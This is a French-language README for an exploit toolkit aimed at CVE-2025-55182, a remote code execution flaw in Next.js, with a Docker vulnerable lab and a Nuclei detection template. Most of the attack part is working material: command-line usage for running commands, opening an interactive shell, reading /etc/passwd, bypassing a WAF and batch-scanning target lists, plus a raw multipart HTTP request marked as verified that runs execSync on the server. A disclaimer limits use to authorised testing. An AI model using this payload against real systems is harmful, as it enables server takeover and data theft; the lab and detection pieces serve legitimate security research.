
React2Shell-Exploit — Framework d'exploitation complet pour CVE-2025-55182, incluant un exploit Python, un lab vulnérable Docker, une exploitation manuelle et automatisée via Burp Suite, un template de détection Nuclei, et un flux de travail de test validé. Développé pour les tests d'intrusion et la recherche pédagogique.
CVE-2025-55182 - Next.js RCE Exécution de code à distance
Framework d'exploitation + laboratoire vulnérable + validation Burp Suite & Nuclei.
Framework d'exploitation complet et environnement de laboratoire vulnérable pour la recherche en sécurité et les tests d'intrusion.
╔═══════════════════════════════════════════════════════════════╗
║ 🐺 React2Shell-Exploit-Kensei 🐺 ║
║ CVE-2025-55182 Exploitation Tool ║
║ ║
║ Author: Ruben Suxo - Ethical Hacker (kensei) v2.5.0 ║
╚═══════════════════════════════════════════════════════════════╝
React2Shell-Exploit-Kensei est une boîte à outils complète pour exploiter CVE-2025-55182, une vulnérabilité critique d'exécution de code à distance dans les applications Next.js.
Elle comprend :
Versions affectées :
Score CVSS : 10.0 (Critique)
✅ Exploitation automatisée ✅ Shell interactif ✅ Exécution de commandes ✅ Lecture de fichiers ✅ Contournement WAF ✅ Analyse par lots
Vous devez avoir Docker installé pour exécuter le laboratoire vulnérable.
| Plateforme | Lien d'installation |
|---|---|
| Windows | https://docs.docker.com/desktop/install/windows/ |
| macOS | https://docs.docker.com/desktop/install/mac-install/ |
| Linux |
Vérifier l'installation :
docker --version
✅ Guide Burp Suite ✅ Modèle Nuclei ✅ Exemples complets
# 1. Clone
git clone react2shell-exploit
cd react2shell-exploit
chmod +x react2shell-exploit.py
# 2. Start Lab
cd docker
docker build --no-cache -t react2shell-lab .
docker run -d -p 3002:3002 --name react2shell-lab react2shell-lab
# 3. Exploit
python3 react2shell-exploit.py --url http://localhost:3002 --cmd "whoami"
python3 react2shell-exploit.py --url http://target.com --scan
python3 react2shell-exploit.py --url http://target.com --cmd "id"
python3 react2shell-exploit.py --url http://target.com --shell
python3 react2shell-exploit.py --url http://target.com --read /etc/passwd
python3 react2shell-exploit.py --url http://target.com --cmd "whoami" --waf-bypass
python3 react2shell-exploit.py --list targets.txt --scan --threads 20
Vérifié fonctionnel — Modèle de requête :
POST / HTTP/1.1
Host: target.com:3002
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Next-Action: x
Content-Length: 734
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('whoami',{timeout:30000}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/exploit?out=${encodeURIComponent(res)};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Réponse attendue :
"children":["__PAGE__?{\"out\":\"root\"}",{}]
Test manuel de WHOAMI :

Test manuel d'IFCONFIG :

Méthodes alternatives de détection automatisée :








Vérifié fonctionnel :
nuclei -target http://target.com:3002 -t nuclei/CVE-2025-55182.yaml
Sortie :
[CVE-2025-55182] [http] [critical] http://target.com:3002/

Auteur : Ruben Suxo - Ethical Hacker (kensei) Version : 2.5.0 Date : 2025-12-06
Ce projet s'appuie sur la recherche et les techniques de :
Pour des tests de sécurité autorisés uniquement.
L'accès non autorisé est illégal. Utilisez ceci uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.
Licence MIT
🐺 Hack The Planet - De manière responsable
À des fins éducatives uniquement. Utilisez éthiquement.
| https://docs.docker.com/engine/install/ |